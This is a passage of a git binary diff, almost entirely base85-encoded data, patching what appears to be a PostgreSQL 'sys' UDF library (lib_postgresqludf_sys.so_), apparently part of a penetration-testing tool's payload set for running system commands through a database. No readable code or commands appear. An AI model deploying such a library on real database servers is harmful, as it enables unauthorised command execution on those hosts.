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 KOPfjVez_Cb;Vx$Y literal 2652 zcmV-i3ZwN8?v`#yJQ|^N>_Ns`lr173bSFN+?_5N4dU_F&Ktno6QSg#XS?q>U+$v!) z1hq=m8zkZtQ;Y*V}_JusmILi0&;WOO`4rvS2>o;X_627Vham(%vM}kR^ zObADtg6E|FCrh+5sT=D`mF>-|?WW7Z4{G)n&pOQgu)L;g&iJzpwr!T;)p`Qp_iI;kMe}z{LaPKaGJV^JEAXW2zb?s}ruK z=m?g(JIrn83!`q06aipGQ3Y+r?aa{U{IUAP^v#BraP2@t|8A{rvwmS`G(!?sHVwXQ zE;#%_e*q(Ram~qY%f?41!4qWpqnExn5&`+A_=!k(Oh0*I9*fg zs-*fpw@IiZCABZ&A$?7%c7{YQoWgxs-IVd7N&1kY{NUj5((@r_tRPBESj-$j z=rGiBc%NbM&+fKXN7{$RnpkBC9N`9zp9o=NNp&Jqo|#hdkK8Z{5r+AZy|iTCPLU)@ za?Hq0FI2`r3)wyP0U|3sXo~4T?Ly@p7e66Ui!-=zk@3%f;{~qzBgos-8DD@(6Sujs zq20zFKx|aI^oAvjwc|;{ukU6D&}RoP&2gyJtP(s&LuCVZ!#;d$K+YIkW0|^3GyJni zNGd;Jt)bfjt!-V zp>qd%K0nck$Xejdx zf{}9j8&u@mK=0iN{09`X!4HiL_QvKILhrCy-daj?jF8v^ z4)p;fL*u(1(+=L|pHoyY6fTeN>lrnB-XP&tfoQs5q1LbO8>&57w$c0tXfa;07A_NX zL4K_TLyi(tfh9xq6<(_cOw#*V!{YDv^taR}TnDWJ_P`J03xwn4MMb7&hp({E0e@m6 z8e!(EBPKh42c!ii=_o$3Z)nQD2i&NvKO*ExGe8l^m)_wVWq=oVtjhb;B5>EO`2AOD)R>I798J)mt@0E+Vp=f3z?&Eh$v(n9bl);*Y$JU|o6lGXEbtke`KLsC zB;A10#8^#Tr}L-UhJ^Qjq2)@>g_=zW}RKo0mGJVZ}I&-e0ujG8$~k30m#A`d zOhuuTX+2?rlZ0q*<91hRo^n|k4?5GH3^ zDN$(P8{gbcPly$|K&eUr#HxKA(&2F~GWM7_pta5`E=2UhcdHv~Rfa$hxFU6`Et zSk5OUYq>PwscK>oiT}Q{LICZr(d#{GF|sNy$*9?V(9*F^%eWwV>#fh-wLDPMa|^%j zjy-}--(uUZ=2XA;_mw>2AQf?F^+fW&trhpf-oQ(xDAO4&$JD>}pu(9mwbENAAjf>12lNc3%k5`Lf1aWN z$rH)Ljajb`%G}SDI(X1Pnc@L9fdfN$q-;4gJAe5yJ?*0^vHP_jL%~@m7u$0LZ@1a@ z6DkF;JJCj{siOL*0VZk`Zyht0{7b~C<-I@eeWK|bMyrasPY7sRj~;kzVveDdZ0&(e zsBs!2IhaBEkV4EqkeTq1|OuJ)6RK69!s^l2Wb diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ index 0d2f0bc0a530479d3cd59ff98d319eb94bc3857c..9277aae7a94289b017fb3014338de9926023c978 100644 GIT binary patch literal 2652 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 K!J9~uPPr16h(4A8 literal 2652 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 KOPfiSUbzvvpDo=0 literal 2652 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 